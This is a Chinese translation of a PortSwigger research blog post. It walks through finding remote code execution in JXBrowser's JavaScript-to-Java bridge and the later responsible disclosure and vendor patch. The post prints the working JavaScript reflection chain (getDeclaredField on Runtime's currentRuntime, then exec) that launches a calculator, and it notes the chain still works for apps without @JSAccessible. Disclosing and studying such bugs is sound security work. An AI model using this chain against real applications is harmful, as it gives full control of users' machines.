原文链接: PortSwigger Web Security Blog
最近发现自己在使用 JXBrowser 给实验性扫描技术制作原型,这是一个在 Java 应用中使用类似 PhantomJS 浏览器的库。在使用 JXBrowser 库创建 JavaScript 与 Java 之间的桥接时,我很好奇是否可以通过调用与现有不同的类,来攻击 JXBrowser 的客户端页面,从而实现远程代码执行的目的。我的 JavaScript to Java bridge 如下所示:
browser.addScriptContextListener(new ScriptContextAdapter() { @Override public void onScriptContextCreated(ScriptContextEvent event) { Browser browser = event.getBrowser(); JSValue window = browser.executeJavaScriptAndReturnValue("window"); window.asObject().setProperty("someObj", new someJavaClass()); } });
本例取自 JXBrowser 演示站点,基本原理是将一个脚本注入到浏览器实例中,检索 window 对象并将其转换为 Java JSValue 对象,然后将 "someObj" 设置到 window 上,并将 Java 对象传递给 JavaScript window对象。如此,便桥接成功了。相关文档说,只能使用公共类。一旦我们创建了一个桥,我们就需要一些 JavaScript 与之交互。
setTimeout(function f(){ if(window.someObj && typeof window.someObj.javaFunction === 'function') { window.someObj.javaFunction("Called Java function from JavaScript"); } else { setTimeout(f,0); } },0);
我们有一个 setTimeout 来检测 "someObj" 属性的存在,它不会调用自身,除非我们这么做。我首先尝试使用 getRuntime() 查看是否可以获取运行时(runtime)对象的一个实例并执行 calc。我是这么调用的:
window.someObj.getClass().forName('java.lang.Runtime').getRuntime();
得到以下错误回显:
Neither public field nor method named 'getRuntime' exists in the java.lang.Class Java object.
(找不到 getRuntime 方法)
难道不能调用 getRuntime?我试着用更简单方法:
window.someObj.getClass().getSuperclass().getName();
貌似有效。我也试过枚举现有方法。
methods = window.someObj.getClass().getSuperclass().getMethods(); for(i=0;i<methods.length();i++) { console.log(methods[i].getName()); } wait wait wait equals toString hashCode getClass notify notifyAll
所以我能够成功枚举出这些方法。我决定尝试使用 ProcessBuilder ,看看接下来会发生什么。但每次试图调用构造函数时,我都失败了。看起来构造函数要求一个 Java 数组。这样的话,我需要创建一个 Java 数组的字符串,以便将它传递给 ProcessBuilder 构造函数。
window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance("open","-a Calculator"); //Failed window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(["open","-a Calculator"]); //Failed too
稍微抛开这个问题,我试着创建另一个对象,证明了漏洞的存在。现在可以成功创建 java.net.Socket 类的一个实例。
window.someObj.getClass().forName("java.net.Socket").newInstance();
我试图调用这个对象的 "connect" 方法,却遇到了参数类型不正确的问题。这确实证明,尽管我可以创建 socket 对象,但我不能使用它们,好在我可以创建它们。而这里需要注意一点,我没有给此方法传递任何参数。接下来我又试了 java.io.File 类,也失败了。我别无选择只能使用反射,但任何时候我都不能给函数提供正确类型的参数。newInstance 不可行,同样不能调用。
我需要援助,我需要 Java 专家帮我。幸运的是,在 Portswigger 工作,你永远不是屋子里最聪明的那个 :)。我向 Mike 和 Patrick 寻求帮助。我说明了将参数传递给函数要求一个 Java 数组的问题,所以我们开始寻求在 Java-JavaScript 桥中创建数组的方法。
Mike 认为使用数组列表可以解决,因为我们可以方便地使用 toArray 方法,将其转换为一个数组。
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance(); list.add("open"); list.add("-a"); list.add("Calculator"); a = list.toArray(); window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
这次的函数调用抛出了没有该方法的异常,并声明了我们的参数传递实际上是一个 JSObject。因此,即使我们创建了一个 ArrayList,toArray 被桥转换为一个 JS 对象,因此错误的参数类型被发送到进程生成器。
然后,我们尝试创建一个 Array。我们又使用了反射,在 java.lang.reflect.Array 上调用了新的实例。但它再次抛出参数类型不正确的异常,我们发送一个 double,但它要求一个 int。然后我们尝试使用 java.lang.Integer 。但是还是遇到这个问题。Patrick 认为我们可以使用 MAX_INT 属性创建一个巨大的数组 :) ,至少我们会得到 int 。然而“桥”把来自 java 的 int 转换为 double。
这便是我们试过的:
list = window.someObj.getClass().forName("java.util.ArrayList").newInstance(); list.add("open"); list.add("-a"); list.add("Calculator"); a = list.toArray(); window.someObj.getClass().forName("java.lang.ProcessBuilder").newInstance(a));
我们得到了空指针异常,而且没有参数也不行,但这就是 JavaScript ,我想,为何没发送 123,将其作为参数。我认为它不会生效,但它实际上输出了我们的 max int。我们继续尝试用 max int 调用 Array 构造函数,当然也失败了。然后我们决定查看运行时(runtime)对象,看看能否使用相同的技术。Mike 建议使用 getDeclaredField ,并获取当前运行时的属性,使其可被访问,因为它是一个私有属性,我们很开心地看到弹出了计算器。
field = window.someObj.getClass().forName('java.lang.Runtime').getDeclaredField("currentRuntime"); field.setAccessible(true); runtime = field.get(123); runtime.exec("open -a Calculator");
这意味着通过使用 JavaScript-Java 桥的代码在 JXBrowser 中呈现的网站,都可能完全控制客户端。
我们私下向 TeamDev(JXBrowser 的制造商)报告了这个问题,他们发布了一个补丁,支持使用 @JSAccessible 注释 规定允许的属性/方法的白名单。请注意,如果应用程序在任何地方都不使用 @JSAccessible 注释,白名单不会被强制执行,上述利用脚本依然有效。
Enjoy - @garethheyes